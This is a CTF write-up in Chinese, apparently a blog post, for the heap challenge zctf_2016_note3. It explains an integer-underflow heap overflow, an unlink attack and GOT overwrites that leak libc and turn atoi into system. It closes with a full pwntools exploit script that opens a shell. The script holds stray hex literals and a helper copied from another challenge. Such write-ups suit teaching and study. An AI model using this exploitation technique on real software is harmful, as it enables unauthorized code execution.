【buuoj】zctf_2016_note31 (unlink实现libc泄露)

参考这位师傅的wp

一道64位堆题,no pie ,Partial RELRO 可以写got表 

add功能:最多申请7个堆块,小于0x400

show功能:

edit功能:

 

 

此处因为i为unsigned int 当size设为0时size-1为负1对i来说是很大的从而存在堆溢出

 

 free功能:free堆块时会free掉ptr指针上的内容。

思路:由于,没有show功能,想法是利用堆溢出实现unlink将fd指针指向ptr处,同时将ptr上布置的free_got改成puts实现地址泄露功能,同时在ptr后面布置atoi的地址实现地址泄露和改atoi为system的功能。

具体步骤:

1)先申请四个堆块,其中堆块0中先将fd和bk指针设为目标指针,此时free掉堆块1再申请同样大小的堆块就会申请到同样的位置,这时利用size大小无限制的漏洞将堆块2的presize设为0xb0,本生size的inuse位设为0满足了unlink的条件

ptr=0x6020c8
payload=p64(0)+p64(0xb0)+p64(0x6020c8-0x18)+p64(0x6020c8-0x10)
add(0x90,payload)#0
add(0x0,'aaaa')#1
add(0x90,'cccc')#2
add(0x18,'dddd')#3
dele(1)
payload=p64(0)*2+p64(0xb0)+p64(0xa0)
add(0,payload)#1

2)此时free(2)实现unlink这时对堆块0进行edit就可以实现往ptr上写入数据的功能。

dele(2)  #unlink
print("free_got-->",hex(elf.got['free']))
edit(0,p64(0)*2+p64(1)+p64(elf.got['free'])+p64(elf.got['atoi'])+p64(0)+p64(elf.got['atoi']))
gdb.attach(p)

如下图ptr的对应位置已经被覆盖为puts和atoi的地址了(此处不知道为什么不会覆盖fd-0x8处的地址)

 3)edit 堆块0实现修改free_got 为puts的功能(不写入最后一位是因为末尾会补上0),此时再调用dele(1)时就会变成puts(1),即泄露写入的atoi的地址,从而算出libcbase。

edit(0,p64(elf.plt['puts'])[:-1])
print("puts-->",hex(elf.plt['puts'])[:-1])
#gdb.attach(p)
dele(1)
gdb.attach(p)
atoi=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libcbase=atoi-libc.sym['atoi']
system=libcbase+libc.sym['system']

freegot已经被修改为puts的值了

 

4)修改填入堆块三处的atoi值使atoi变成system最后输入/bin/sh成功getshell

edit(3,p64(system)[:-1])
p.sendline('/bin/sh\x00')

完整代码:

from pwn import *
from LibcSearcher import *
import hashlib
import time
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64', log_level='debug')
elf=ELF('./1')
libc=ELF('./ubun16-64.so')


mode =0
if mode == 0:
    p = process("./1")
else:
    p = remote("node4.buuoj.cn", 27341)






def add(size,content):
	p.sendlineafter('option--->>','1')
	p.sendlineafter('Input the length of the note content:(less than 1024)',str(size))
	p.sendlineafter('Input the note content:',content)
	
	
	
def dele(id1):
	p.sendlineafter('option--->>','4')
	p.sendlineafter('Input the id of the note:',str(id1))	

0x630dae55e0d5bf00
0x7ffff7a2d840
	
def show(id1):
	p.sendlineafter('> Now please tell me what you want to do :','4')
	p.sendlineafter('> Oreo ID :',str(id1))	
	
def edit(id1,content):
	p.sendlineafter('option--->>','3')
	p.sendlineafter('Input the id of the note:',str(id1))	
	p.sendlineafter('Input the new content:',content)

ptr=0x6020C8
fd=ptr-0x10-0x18
bk=ptr-0x10-0x10
free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']

payload=p64(0)+p64(0xb0)+p64(0x6020c8-0x18)+p64(0x6020c8-0x10)
add(0x90,payload)#0
add(0x0,'aaaa')#1
add(0x90,'cccc')#2
add(0x18,'dddd')#3
dele(1)
payload=p64(0)*2+p64(0xb0)+p64(0xa0)
add(0,payload)#1
dele(2)  #unlink
print("free_got-->",hex(elf.got['free']))
edit(0,p64(0)*2+p64(1)+p64(elf.got['free'])+p64(elf.got['atoi'])+p64(0)+p64(elf.got['atoi']))
gdb.attach(p)


edit(0,p64(elf.plt['puts'])[:-1])
print("puts-->",hex(elf.plt['puts'])[:-1])
#gdb.attach(p)
dele(1)
gdb.attach(p)
atoi=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libcbase=atoi-libc.sym['atoi']
system=libcbase+libc.sym['system']
edit(3,p64(system)[:-1])
p.sendline('/bin/sh\x00')
#gdb.attach(p)


p.interactive()

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值